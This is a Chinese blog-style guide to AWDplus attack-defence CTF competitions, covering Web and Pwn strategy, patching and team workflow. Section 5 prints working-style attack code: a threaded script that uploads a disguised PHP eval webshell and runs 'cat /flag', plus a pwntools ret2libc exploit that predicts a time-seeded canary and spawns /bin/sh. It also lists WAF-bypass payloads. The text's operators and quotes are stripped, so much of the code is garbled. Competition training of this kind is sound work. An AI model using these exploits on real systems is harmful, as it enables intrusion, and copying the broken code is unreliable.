AWDplus攻防实战:Web与Pwn双线作战策略与自动化工具链

📅 2026/7/4 7:36:58
AWDplus攻防实战:Web与Pwn双线作战策略与自动化工具链
1. 项目概述AWDplus的双线战场最近刚带队打完一场“陇警杯”网络安全竞赛的AWDplus赛制感触颇深。这种赛制与其说是比赛不如说是一场高强度、高压力的网络攻防实战演习。它彻底颠覆了传统CTF那种“单点解题”的模式把你扔进一个同时需要进攻和防守的战场。你的队伍不仅要想方设法去攻击对手的服务器拿到他们的Flag通常是一个特定格式的字符串还必须像守护自己的阵地一样死死守住自己的服务器修复漏洞抵御来自其他所有队伍的狂轰滥炸。比赛通常分多轮进行每轮20-30分钟每一秒都至关重要。得分来自于成功攻击对手获取Flag和成功防守自己的服务未被攻破Flag未被拿走。这种模式完美模拟了真实世界中的安全攻防对抗。而“陇警杯”这类实战型比赛往往不会只给你单一的靶机。最常见、也最考验综合能力的配置就是“Web Pwn”双靶机模式。这意味着你的战队需要同时具备两大核心能力Web应用安全和二进制漏洞利用Pwn。Web靶机考验你对常见Web漏洞如SQL注入、文件上传、反序列化、模板注入等的快速审计、利用和修复能力Pwn靶机则考验你对程序底层逻辑、内存布局、漏洞原理如栈溢出、堆利用、格式化字符串等的理解和利用脚本编写能力。双线作战要求队伍分工明确、信息同步迅速、策略灵活应变。下面我就结合这次实战拆解一下在这种高压环境下如何系统性地制定攻防策略以及那些只有踩过坑才知道的细节。2. 赛前准备工欲善其事必先利其器AWDplus的节奏极快几乎没有时间让你现场研究工具、搭建环境。所有准备工作必须在赛前就固化到肌肉记忆里。我们的策略是将工具和流程“武器化”、“自动化”。2.1 个人武器库标准化每个队员无论主攻Web还是Pwn都必须有一套自己最熟悉、配置到位的本地环境。这不是说要用多炫酷的工具而是要求开箱即用快捷键顺手。对于Web方向的队员漏洞扫描与探测Burp Suite Professional必备用于拦截、重放、扫描请求、sqlmap自动化SQL注入但慎用容易打崩服务、dirsearch或gobuster目录/文件爆破。代理与调试Burp的Repeater、Intruder、Decoder模块必须玩得转。浏览器的开发者工具F12是基本功。脚本与自动化Python3环境并安装好requests、BeautifulSoup、pwntools是的有时Web也需要等库。准备一个自己写的批量请求/Flag提交脚本模板比赛时只需修改IP和Payload即可快速投入战斗。注意所谓的“web批量请求器下载”需求在实战中我们从不依赖不明来源的工具。自己用Python写一个简单的多线程脚本更安全、更可控。核心就是利用threading库和requests库循环遍历目标IP列表和Payload列表进行请求并过滤响应内容寻找Flag。网上流传的“请求器”可能有后门或功能不全在分秒必争的赛场上不可靠的工具就是致命的。对于Pwn方向的队员核心调试环境Ubuntu虚拟机推荐18.04或20.04兼容性好安装好pwntools、gdb配合peda/gef/pwndbg插件、checksec、ROPgadget、one_gadget等。确保python的pwntools库能正常from pwn import *。静态分析工具IDA Pro或Ghidra。IDA的F5伪代码功能是节省时间的利器。环境隔离为每个Pwn题目单独创建一个目录避免文件混乱。使用docker或socat在本地模拟远程服务进行漏洞利用脚本exp的调试是最高效的方式。例如socat tcp-listen:9999,reuseaddr,fork exec:./pwn_binary然后你的exp就可以连接localhost:9999进行测试。2.2 团队协作与信息共享平台比赛中的沟通效率直接决定生死。我们采用“主指挥分频道”的语音沟通模式如Discord、腾讯会议并辅以一个实时共享的在线文档如腾讯文档、飞书文档。共享文档的结构至关重要我们通常分为以下几个核心板块目标列表所有对手队伍的Web和Pwn靶机IP、端口列表。每轮更新。漏洞情报库Web漏洞记录发现的漏洞类型如/admin/upload.php 存在无限制文件上传、利用的Payload、获取Flag的请求包Raw格式。Pwn漏洞记录二进制文件的保护机制checksec结果、漏洞点如main函数栈溢出偏移量72、利用思路如ret2libc、以及成功利用的exp.py代码片段。修复记录记录我们对自家Web和Pwn靶机做了哪些修复。例如“Web在login.php第30行添加了htmlspecialchars过滤”、“Pwn用sed命令将二进制文件中read函数的危险调用替换为了安全函数如果规则允许或直接打了补丁”。Flag提交记录谁、在什么时间、提交了哪个目标的Flag成功与否。避免重复攻击和浪费资源。实时得分看板手动或脚本化更新各队得分分析威胁最大的对手。3. 比赛开局黄金五分钟的生死时速裁判一声令下比赛开始。最初的5-10分钟是奠定整场比赛基调的“黄金时间”。我们的策略是防守优先同步侦察。3.1 第一步备份与自检拿到自己队伍的服务器权限通常是SSH账号密码后第一件事不是去攻击别人而是全面备份和检查自己的阵地。完整备份立即将整个Web目录和Pwn二进制文件打包下载到本地。命令如tar -czvf web_backup.tar.gz /var/www/html/和scp下载二进制文件。这是你修复漏洞的“原始副本”万一修崩了还能回滚。权限检查快速检查Web目录的写权限find /var/www/html -type f -writable、是否有可疑的隐藏文件或后门。检查Pwn二进制文件的SUID位等特殊权限。服务自检用脚本快速访问自己的Web服务所有页面确保服务正常运行。运行自己的Pwn二进制了解其基本交互逻辑。3.2 第二步漏洞快速审计在备份的同时Web和Pwn队员要立刻对自家的题目进行审计。Web审计直接阅读关键源码。重点关注用户输入点$_GET,$_POST,$_REQUEST,$_COOKIE。数据库操作mysql_query,mysqli,PDO语句看是否有拼接。文件操作include,require,file_get_contents,file_put_contents 特别是参数可控的情况。命令执行system,exec,passthru,shell_exec,反引号。序列化serialize,unserialize。文件上传功能检查后缀名、MIME类型、内容检测是否可绕过。对于“web模板过滤器”要特别留意Smarty,Twig,Jinja2等模板引擎的渲染点如果用户输入能进入模板就可能存在SSTI服务端模板注入。审计时要找类似{$user_input},{{ user_input }}的代码。Pwn审计用checksec查看保护机制用IDA或Ghidra进行快速静态分析。找危险函数gets,scanf,strcpy,strcat,read当读取长度可控时等。分析程序逻辑有没有明显的溢出点有没有printf输出用户输入格式化字符串漏洞有没有释放后使用UAF或双重释放的逻辑注意类似ctf pwn srand(time(0));v3 rand() % 1000;这样的代码。这通常是伪随机数种子基于时间的漏洞。如果服务端用time(0)做种子生成随机数如canary、密钥而客户端可以同时或近似同时连接那么客户端本地用同样的算法就能预测出这个随机数。这在AWD中常被用来绕过Canary或生成相同的密钥。3.3 第三步编写初步利用脚本与修复方案一旦发现漏洞要立刻做两件事编写攻击脚本Exp用最快的速度写出能利用该漏洞从“标准环境”即未修复的原始题目获取Flag的脚本。这个脚本将是后续攻击所有对手的武器。制定修复方案同时思考如何修复这个漏洞。Web漏洞修复要直接、粗暴、有效。例如SQL注入将拼接改为参数化查询或添加严格的转义/过滤。文件上传增加强后缀名检查、文件头检查、随机重命名、存储在Web根目录之外。命令注入过滤所有特殊字符或使用白名单机制。目录遍历对../进行过滤或使用绝对路径映射。对于“web模板过滤器”引发的SSTI修复方法是绝对不要让用户输入直接进入模板渲染函数。如果必须要使用模板引擎提供的安全过滤或沙箱机制。Pwn的修复在AWD中比较特殊通常规则允许你直接修改二进制文件。常见方法栈溢出用NOP指令覆盖危险的函数调用或修改二进制跳转到安全逻辑。格式化字符串将printf(user_input)改为printf(“%s”, user_input)。注意修改后的二进制文件必须保持原有功能如仍能正常交互、返回Flag否则可能被判服务异常而扣分。修改前务必备份原文件。4. 攻防拉锯双线作战的策略与节奏完成开局工作后比赛进入动态攻防阶段。这时Web线和Pwn线需要紧密配合但又要有独立的战术。4.1 Web线作战策略Web漏洞的特点是利用速度快但修复后影响也立竿见影。一旦你修复了漏洞对手针对这个点的攻击就立刻失效。攻击波次化第一波用最快速度将自家漏洞的Exp脚本批量打向所有对手的Web靶机。这一波往往能收割大量“裸奔”的对手。第二波在对手开始修复后攻击成功率下降。此时需要漏洞复用。如果题目是通用的所有队伍的Web代码一样那么一个队伍修复漏洞的方式很可能被其他队伍模仿。通过查看对手修复后的页面比如错误信息变化、添加了token可以推测其修复方法并尝试绕过。例如对方过滤了空格尝试用/**/或%a0绕过过滤了select尝试用SeLeCt大小写绕过或内联注释/*!select*/。第三波寻找二次漏洞或逻辑漏洞。在修复主要漏洞时如果代码修改不严谨可能会引入新的问题。或者一些复杂的业务逻辑如密码重置、竞争条件可能存在原始漏洞。防守自动化修复漏洞后不要以为就高枕无忧了。需要编写监控脚本定期检查自己的Web服务是否被篡改如首页被挂黑页、上传了webshell、Flag文件是否被读取。可以使用inotify-tools监控Web目录文件变化或者写一个简单的Python脚本定期访问关键页面检查返回内容是否包含预期外的关键词。4.2 Pwn线作战策略Pwn漏洞的利用通常比Web慢需要编写调试Exp但一旦利用脚本成熟其攻击就非常稳定且修复难度相对较大。攻击精准化Pwn攻击不适合无脑批量。首先在本地调试通Exp确保稳定拿到本地Flag。然后用调试好的Exp逐个攻击对手。因为网络延迟、服务器状态等因素可能需要微调Exp中的延时或参数。记录下每个目标成功所需的精确Exp形成个性化攻击脚本库。对于ctf pwn srand(time(0))这类漏洞攻击脚本的关键在于时间同步。你的Exp在连接远程服务器时需要用与服务器尽可能一致的时钟来生成随机数。通常可以在攻击前先连接一次服务器获取一个时间戳或者使用ntp同步时间。脚本里会这样写from pwn import * import time, ctypes libc ctypes.CDLL(/lib/x86_64-linux-gnu/libc.so.6) # 加载本地libc的rand # 假设我们预测服务器在‘current_time’秒初始化了srand predicted_seed int(time.time()) # 这里需要精确估计服务器启动srand的时间点 libc.srand(predicted_seed) predicted_canary libc.rand() # 假设canary来自rand() # 然后在构造payload时使用这个predicted_canary这需要你对服务器程序启动时机有较好的估计有时需要多次尝试。防守对抗化Pwn的防守不仅仅是修复漏洞更是增加对手的攻击成本。修改关键值如果规则允许可以修改二进制中的某些常量比如偏移量、魔术数。让对手基于原始二进制分析的偏移全部失效。增加反调试/混淆可以简单地在二进制开头加一段无意义的循环或睡眠拖慢对手自动化攻击脚本的速度。动态对抗编写一个“守护进程”脚本监控Pwn服务的运行。如果发现进程崩溃被攻击成功立即重启服务并可能回滚到一个“干净”但打了补丁的版本。这能有效抵御那些“一波流”的自动化攻击。4.3 双线协同与资源分配信息互通Web队员发现对手的某个IP响应很慢或服务挂了要立刻通知Pwn队员“这个队的Web可能被打崩了集中火力攻他们的Pwn他们可能没精力修了”。反之亦然。资源倾斜比赛中期根据得分板判断。如果某条线比如Web普遍修复得很好攻击收益变低就应将更多人手和精力倾斜到另一条线Pwn上寻求突破。“修攻一体”思维负责修复的队员在修复漏洞的同时必须彻底理解漏洞原理。这样他才能更快地看出对手是如何修复的并为攻击手提供绕过思路。例如你修复SQL注入时用了mysql_real_escape_string你就要知道这个函数在宽字节编码下可能存在绕过并把这个信息同步给攻击手。5. 核心环节实现一个完整的双线攻防实例假设我们遇到一个经典场景Web靶机是一个存在“文件上传目录遍历”漏洞的CMSPwn靶机是一个存在“栈溢出随机Canary”的程序。5.1 Web漏洞利用与修复实战漏洞分析Web靶机的/upload.php允许上传图片但仅在前端检查了后缀名。服务器端未验证文件内容且将文件保存在/uploads/目录下文件名为用户可控。同时/view.php?file../../uploads/evil.php存在目录遍历可以读取上传的文件。攻击脚本Exp编写import requests import threading def attack_web(target_ip): url_upload fhttp://{target_ip}:8080/upload.php url_view fhttp://{target_ip}:8080/view.php # 1. 上传Webshell webshell ?php eval($_POST[cmd]);? files {file: (shell.jpg, webshell, image/jpeg)} # 伪装成图片 data {filename: shell.php} # 利用可控文件名保存为.php try: r requests.post(url_upload, filesfiles, datadata, timeout5) if r.status_code 200: print(f[] {target_ip} 上传成功) except: pass # 2. 利用目录遍历访问Webshell执行命令读取Flag # 假设Flag路径已知为 /flag payload {file: ../../uploads/shell.php} post_data {cmd: system(cat /flag);} try: r requests.post(url_view, paramspayload, datapost_data, timeout5) if flag{ in r.text: flag r.text.split(flag{)[1].split(})[0] print(f[] {target_ip} 获取Flag: flag{{{flag}}}) # 这里可以调用Flag提交API except: pass # 批量攻击 threads [] for ip in target_ips: t threading.Thread(targetattack_web, args(ip,)) threads.append(t) t.start() for t in threads: t.join()修复方案修复上传修改upload.php使用白名单验证文件后缀[jpg, png, gif]使用getimagesize()函数验证文件头确实是图片并且将上传的文件重命名为md5(原文件名时间戳).jpg彻底杜绝用户控制存储路径和文件名。修复目录遍历修改view.php对file参数进行过滤禁止出现../或者使用basename()函数只获取文件名再拼接上固定的安全目录路径。5.2 Pwn漏洞利用与修复实战漏洞分析Pwn程序pwn_binary开启NX和Canary保护。main函数中有一个char buf[64]; read(0, buf, 0x100);的明显栈溢出。Canary由sr and(time(0)); canary rand();生成。攻击脚本Exp编写from pwn import * import time, ctypes context.log_level debug libc ctypes.CDLL(/lib/x86_64-linux-gnu/libc.so.6) def exploit_pwn(target_ip, target_port): # 第一步预测Canary # 我们需要估算服务器进程启动调用srand的时间。一个技巧是多次连接用当前时间做种子爆破。 predicted_canary None for offset in range(-2, 3): # 尝试时间前后2秒的误差 guess_seed int(time.time()) offset libc.srand(guess_seed) if predicted_canary is None: predicted_canary libc.rand() # 也可以连接一次通过部分输出来验证Canary这里简化处理 # 第二步构建ROP链泄露libc地址再执行system(/bin/sh) # 假设我们通过溢出能覆盖到返回地址并且程序中有puts函数 elf ELF(./pwn_binary) # 本地分析用的二进制 # 找到pop_rdi_ret, puts_plt, puts_got, main_addr等gadget和地址本地分析获得 pop_rdi 0x4007a3 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] # 第一次溢出泄露puts的got表地址 payload bA * 72 # 填充到canary之前 payload p64(predicted_canary) # 覆盖canary必须正确否则程序会崩溃 payload bB * 8 # 覆盖rbp payload p64(pop_rdi) payload p64(puts_got) payload p64(puts_plt) payload p64(main_addr) # 再次返回main进行第二次攻击 io remote(target_ip, target_port) io.sendlineafter(binput:, payload) # 接收泄露的地址 leaked_puts u64(io.recvline().strip().ljust(8, b\x00)) log.success(fLeaked puts address: {hex(leaked_puts)}) # 第三步计算libc基址和system地址需要知道远程libc版本赛前通常会给或可猜测 # 假设已知libc中puts偏移量 offset_puts 0x80aa0 libc_base leaked_puts - 0x80aa0 system_addr libc_base 0x4f550 # system偏移 binsh_addr libc_base 0x1b3e1a # /bin/sh字符串偏移 # 第二次溢出执行system(/bin/sh) payload2 bA * 72 payload2 p64(predicted_canary) payload2 bB * 8 payload2 p64(pop_rdi) payload2 p64(binsh_addr) payload2 p64(system_addr) io.sendlineafter(binput:, payload2) io.interactive() # 获得shell然后 cat flag # 在实际AWD中这里应该是自动化的io.sendline(bcat /flag); flag io.recv(); submit_flag(flag) # 攻击单个目标 exploit_pwn(192.168.1.100, 9999)修复方案二进制修补用十六进制编辑器如hexedit或sed命令找到read函数调用处将读取长度从0x100改为0x40小于等于缓冲区大小。这是最直接的修复。增强随机性如果规则允许修改源码并重新编译将sr and(time(0))改为更随机的种子源如/dev/urandom。但在AWD中通常只能打二进制补丁。堆栈保护虽然不能重新编译但可以通过在函数入口添加额外的栈变量检查或者修改程序逻辑使其在检测到溢出时直接退出来增加利用难度。但这需要较高的二进制修补技巧。6. 常见问题与排查技巧实录在高压的AWDplus比赛中会遇到各种意想不到的问题。以下是我们总结的“血泪教训”6.1 Web线常见坑点“我的Exp打过去没反应但手动测试明明有漏洞”原因批量脚本的请求头如User-Agent,Cookie、会话Session处理不当或者对手服务器已因流量过大而卡死。排查在脚本中加入详细的日志记录每个目标的请求和响应状态码、长度。为每个目标使用独立的requests.Session()对象并保持合理的请求间隔如time.sleep(0.5)避免触发对手的WAF或速率限制。准备一个“手动验证小队”当批量脚本失效时快速手动测试几个关键目标确认是漏洞修复了还是脚本问题。“刚修复的漏洞怎么Flag又被拿了”原因修复不彻底存在绕过或者修复时引入了新的漏洞二次漏洞。排查修复后立即用多种Payload测试不仅仅是原漏洞的Payload还要尝试变种编码、大小写、等价替换。检查修复代码的逻辑。例如修复SQL注入时是否只过滤了select而忘了union修复文件上传时是否只检查了image/jpeg而忘了image/jpg使用文件监控工具确认修复后的文件没有被其他漏洞如文件包含再次篡改。关于“web批量请求器”的执念很多新手总想找一个“万能攻击器”。实际上最好的批量请求器就是你自己写的Python脚本。它轻量、可控、可定制。网上下的工具你不知道它背后有没有偷偷上传你的Flag到别处或者其Payload库是否过时。掌握requests库和简单的多线程/异步IO是AWD Web手的必备技能。6.2 Pwn线常见坑点“本地Exp通杀一打远程就崩溃”原因本地和远程环境差异。包括libc版本不同导致偏移地址不对、系统内核版本不同影响一些特殊利用手法、网络延迟导致交互时序问题。排查Libc比赛时尽量获取远程libc文件有时通过漏洞能下载用./libc.so.6的方式指定本地调试环境。或者使用LibcSearcher这类工具根据泄露的地址匹配。时序在Exp中关键交互点后添加sleep(0.1)。对于rand()预测精确同步时间至关重要可以尝试在连接后立即发送一个包来“锚定”时间。利用链稳定性尽量使用成功率高的利用链比如ret2libc比复杂的堆利用更稳定。在比赛中稳定拿到分比炫技更重要。“修改二进制后服务起不来了”原因修补破坏了二进制文件的某些关键结构如ELF头、节区、或者跳转地址计算错误。排查修改前务必备份使用readelf -l ./pwn_binary检查程序头是否完好。使用objdump -d反汇编修改后的区域看看指令是否完整。先在本地虚拟机中测试修改后的二进制确保它能正常运行基本功能再上传到比赛服务器。“Pwn服务被瞬间打崩重启都来不及”原因对手使用了自动化、高并发的攻击脚本。应对编写一个简单的监控重启脚本shell或Python。#!/bin/bash while true; do # 检查9999端口是否还在监听 if ! nc -z localhost 9999; then echo [$(date)] Service down, restarting... pkill -f pwn_binary nohup socat tcp-listen:9999,reuseaddr,fork exec:./pwn_binary_patched fi sleep 2 done考虑给二进制程序本身加一个“重启守护”的壳或者使用systemd等进程管理工具配置自动重启。6.3 团队协作与策略失误“所有人都去攻击了家里没人防守被偷家了”对策明确分工至少保证有一名队员始终以防守为核心任务。他的工作不是写Exp而是监控日志、检查文件完整性、验证修复是否生效、并随时准备回滚。“信息混乱不知道谁打了谁Flag提交重复了”对策严格执行共享文档的更新纪律。谁攻击了哪个目标无论成功与否立即在文档中记录。提交Flag前快速检查一下文档中该目标最近是否有提交记录。“最后一轮盲目攻击导致己方服务异常被扣分输掉比赛”对策比赛最后时刻尤其是领先时策略应变保守。优先确保自家服务稳定。可以停止所有攻击全力进行防守监控和检查。计算分数如果防守得分足以保持胜利甚至可以主动关闭一些非核心服务来减少攻击面。AWDplus的魅力就在于这种瞬息万变的实战对抗。它考验的不仅是技术深度更是心态、协作和临场决策。Web与Pwn的双线作战要求队伍就像一支特种部队既要有能一剑封喉的攻击手也要有能筑起铜墙铁壁的防守者。每一次比赛都是对真实网络攻防能力的一次淬炼。